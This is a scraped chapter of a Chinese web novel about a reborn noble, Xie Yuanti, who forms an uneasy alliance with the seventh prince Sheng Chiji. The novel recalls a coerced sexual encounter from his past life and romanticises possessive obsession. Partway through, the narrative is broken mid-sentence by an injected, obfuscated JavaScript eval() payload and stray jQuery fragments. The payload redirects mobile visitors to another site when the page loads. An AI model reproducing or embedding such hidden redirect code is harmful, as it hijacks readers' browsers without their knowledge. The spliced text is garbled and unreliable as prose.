默认冷灰
24号文字
方正启体

4.第四章

作者:青端本书字数:K更新时间:
    谢元提面无表情地站在门外。


    见鬼了?为什么在他屋里?


    谢元提思考片刻,再次推开门。


    屋里的人还在,没眼花。


    为了方便使唤,院里伺候的内侍就住边上,顿了顿,谢元提还是走进了屋内,反手关门落闩。


    屋里点着蜡烛,十六岁的盛迟忌身姿挺拔,脸庞在半明半暗中,眉弓立体,眼窝深邃,脸上的血没擦干净,平添几分阴戾,眸子乌沉沉的,化不开的浓稠。


    要不是地上有影子,跟只来索命的鬼也毫无二致。


    谢元提不疾不徐地解下裘衣的系带,随意扔到云头架子上,厚重的裘衣一剥,雪白的颈子便露了出来,清瘦流畅的线条从肩到颈。


    他像是完全没被屋里突兀出现的人惊吓到,冷静地径直与盛迟忌擦肩而过。


    盛迟忌感到两人的衣袖短暂地碰到一起,又错开。


    一缕冷香蹭过鼻间,京中贵族子弟好熏香,出门前衣物都用香熏过,一群人凑一起,香得五花八门的,那股冷香却不太一样,像松间抖落的薄薄的雪,从鼻尖钻到心口,馥郁微凉,让人平白一激灵。


    盯了谢元提一天,从廊下到学堂,第一次靠得这么近,盛迟忌的眼睫止不住颤了颤,喉间升起股难以抑制的干渴,清晰突出的喉结微微抽动了下,才忍住抓住那截游鱼般一触即离的衣袖的冲动。


    前世都是谢元提暗中给盛迟忌送温暖,还没见过盛迟忌主动凑上来。


    他姿态闲适,坐到桌前,给自己倒了盏热茶,轻抿了口,声音冷淡,却有些懒懒的:“找我有事?”


    盛迟忌转过身,也不知在外面晃荡了多久,肩上有雪融化后的薄薄水渍。


    他张了张口,目光却不由自主落到谢元提的手上,修长的手指把玩着薄胎白釉的茶盏,宽大的袖口滑落下去了一截,露出段苍白细瘦的腕骨,淡青色的脉络清晰。


    在烛光下,一时分不清是那盏茶盏白,还是那截手腕更白。


    一只完好无瑕的,瘦长漂亮的手。


    见盛迟忌不吭声,反而直直盯着自己的手,跟狗见了骨头似的,谢元提不快地蹙了蹙眉,茶盏不轻不重地磕到桌上。


    衣袖重新落下去,吝啬地遮挡住了那截手腕。


    盛迟忌心里没来由的高兴,又有些说不清的遗憾,犬齿轻轻磨了磨,视线落回到那张格外吸睛的脸上,见面这么久,第一次开了口,嗓音滞涩微哑:“你是,谢元提?”


    辽东动乱多年,边城混乱,对大部分人而言,能全须全尾活下来就很不错了,在来到京城前,盛迟忌对京中的贵人几乎一无所知。


    不过来了一个月,他也知道了一些人的名字,比如内阁首辅谢严清,还有他的孙子谢元提。


    说到谢元提三个字时,盛迟忌的声音轻了些,像是怕弄碎了什么似的,带着几分小心翼翼。


    谢元提的坐姿很放松,称得上游刃有余——虽然从前世到今生,大部分人面对盛迟忌,都下意识的畏惧又恐恨,甚至他本人上辈子临死前,就被盛迟忌囚禁着,但他其实并不害怕盛迟忌。


    哪怕盛迟忌眼睛黑沉沉的,盯得人发毛。


    不过他如今年纪尚轻,身上还有股掩不住的单薄少年气,很好地中和了那点阴郁。


    只是个毛都没长齐,咬人还不疼的青涩小孩儿罢了。


    谢元提明明是坐在椅子上的,看盛迟忌却有种俯瞰意味:“怎么,七殿下有何见教?”


    盛迟忌抿唇,思考了下,道:“你想杀了盛烨明对吗?我可以帮你杀。”


    “……”


    谢元提眯了眯眼。


    盛烨明再不受宠,也是皇嗣,他就是想对盛烨明下手,也得有所筹备谋划,何况谢家如今看似风光无限,实则危如累卵,他最紧要的是保住谢家,阻止那场几乎灭门的祸事。


    事有轻重缓急。


    所以他今日见到盛烨明时,虽然有一瞬间的杀意,但还是压了下去。


    没想到盛迟忌那么敏锐,居然看出来了。


    谢元提不喜欢这种被人窥探、看破心思的感觉。


    他又抿了口茶,不冷不淡:“为什么?”


    盛迟忌很认真:“你讨厌他,我也讨厌他,我们可以联手。”


    谢元提盯着他,半晌没说话。


    孤身一人自然不可能撼动庞大的皇权,他的确需要放心可靠的盟友。


    盛迟忌……至少比他上辈子眼瞎选中的盛烨明靠谱,但怎么看都不是能让人放心的玩意儿。


    不知为何,一直以来,盛迟忌对啃他两口特别有兴致。


    大抵是风水轮流转,羞辱曾经将自己踩在脚下的对头格外有快.感。


    上一世他刚被盛迟忌带出大牢,囚入宫中时,身子骨跟纸糊般的薄,遍体鳞伤,养了很久伤口才缓缓愈合,伤口疼痛难忍,愈合时浑身发痒。


    钻心的痒,让人发疯,哪怕是谢元提那么能忍耐的人,汗水也浸透了寝衣,忍不住抓挠。


    那些伤口一挠就破,鲜血淋漓,盛迟忌攥着他的手不许挠,谢元提一贯冷静从容,再火大不耐时也是平和优雅的,第一次脾气那么大,盛迟忌估计是没料到他看着都快入土为安了,还会爆发那么大的力气,被他推到地上,狠狠咬住手腕。


    谢元提那时刚彻底变瞎,不知道自己咬得有多深,等冷静下来时,鼻腔里充斥着浓烈刺鼻的血腥味儿。


    他松开嘴,感觉到嘴角有铁锈腥热的血淌过,怔了一怔。


    片刻之后,一根温热的手指凑上来,恶劣地将他唇上的血抹匀了,开口的声音里甚至有几分笑意,问他:“咬完了?”


    意识到危险想要逃离已经晚了,谢元提被按到床上,挣扎时胸膛剧烈起伏,盛迟忌似乎看了他一会儿,才道:“该我了。”


    谢元提自暴自弃,放弃了挣扎,等待疼痛来临。


    说不定疼痛还能压一压那股能逼疯人的痒。


    结果说着咬他,盛迟忌却解开了他的腰带。


    隐忍压抑的喘息紊乱,疼痛与无法抵御的羞耻刺激交织,汗湿的躯体微微发抽。


    痒意确实消止了。


    想到这里,谢元提的脸色一下变臭了,冷冷瞪了眼盛迟忌:“不需要。”


    谈得好好的,谢元提忽然变脸,盛迟忌愣了愣,着急地往前跨了一步:“你不信我吗?我能做到的……我今晚就去杀了他!”


    说着,见谢元提没反应,眉眼一沉,竟然转身就往外走,一副真要今晚就去把盛烨明做掉的架势。


    谢元提:“……滚回来。”


    意外的听话,盛迟忌脚步一停,又回过头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246286|166261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,一眨不眨盯着他,漆黑幽邃的眼潭深不见底。


    谢元提的手肘支在扶手上,手掌托着下颌,抬眸盯着盛迟忌,脸上没表情:“为何来找我,七殿下想要什么?”


    他上辈子暗中给盛迟忌送了不少衣食药物,动作一直很谨慎小心,为了防止消息走漏,甚至都是亲自去送的,从未和盛迟忌见过面。


    他们俩的交集也是那时才有的,沉寂而无声,有时他怀疑盛迟忌隐隐猜到了,但他们谁也没说过。


    这辈子他还没给盛迟忌送过温暖,今日才见了第一面,盛迟忌就巴巴儿地找上门来了,谢元提感到莫名其妙。


    盛迟忌也不知道为什么,他见着谢元提的第一眼,眼睛就离不开了,几乎是立刻就对这个人升起了浓浓的兴趣和好奇,像饿了很久的狼,垂涎欲滴。


    尤其在嗅到那缕擦身而过的幽香之后,心口的血液都在沸腾。


    想要那双漂亮的眼睛望向他,只看他,想衔着那几根漂亮无暇的手指咬一口,想得犬齿发痒,指尖兴奋颤抖。


    但谢元提明显很反感被觊觎,他今天都被暗暗瞪了好几眼了。


    虽然瞪他的样子也很漂亮。


    不过怕惹他生气被赶出去,盛迟忌无声舔了舔犬牙,没把心里肮脏晦暗的念头说出口,沉下眸子,掩住眼底炽热滚烫的侵占欲,轻声道:“你是谢阁老的孙子。”


    谢严清两朝元老,是建德帝的太傅,堪称帝师,又是内阁首辅,手掌吏部尚书官印,说权势滔天都不为过,几个皇子都盯着谢元提,就算拉拢不到他,也不想他和别的皇子交好。


    毕竟谁不想得到谢阁老的鼎力支持?


    谢元提眼眸半眯,提起来的心忽然松了一下。


    原来是为利。


    为利就简单了,世上最复杂但也最分明的就是利益。


    他又仔细看了看盛迟忌,因为年纪尚轻,盛迟忌还没有那么强的攻击性和侵略性,远远不如上辈子危险,今日被人欺负,孤零零在雪地里捡书的样子还有些可怜。


    被人那般欺辱,想要拉拢他也说得通。


    上辈子盛迟忌造反登基后,对跟随自己的功臣都很不错,也没把痛批他的史官言官通通枭首示众,兼以抚民之政,没起太大的乱子,虽然在朝中人人畏惧,但在民间的风评意外不错——他脑子比盛烨明聪明多了,知道什么人该杀、什么人得留着。


    谢元提修长的手指搭在椅子扶手上,轻轻点着。


    虽然他跟盛迟忌之间,有许多说不清道不明剪不断理还乱的怨怼恨意,但谢元提忽然心动了,或者说,他不可抑制地冒出了个恶劣的念头。


    盛迟忌现在这个状态,对比前世简直是张白纸,养养也不是不能用……他想养只听话不咬人的狗。


    若是能将昔日对头调.教成只听话的小狗,一定很有意思。


    盛迟忌的心高高悬着,喉结攒动,轻轻吞咽了下唾沫,紧张地等着谢元提的反应。


    过了会儿,一块带着些许体温的帕子被丢过来,柔软地砸到他脸上,沾着熟悉的淡淡冷香。


    盛迟忌一愣,呼吸陡然紧促起来,下意识抓紧了那张手帕,抬头睁大了眼。


    谢元提扬了扬下颌,瞥了眼他额上的伤口和脸上残留的血迹:“擦干净。”


    “我不喜欢破相的人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)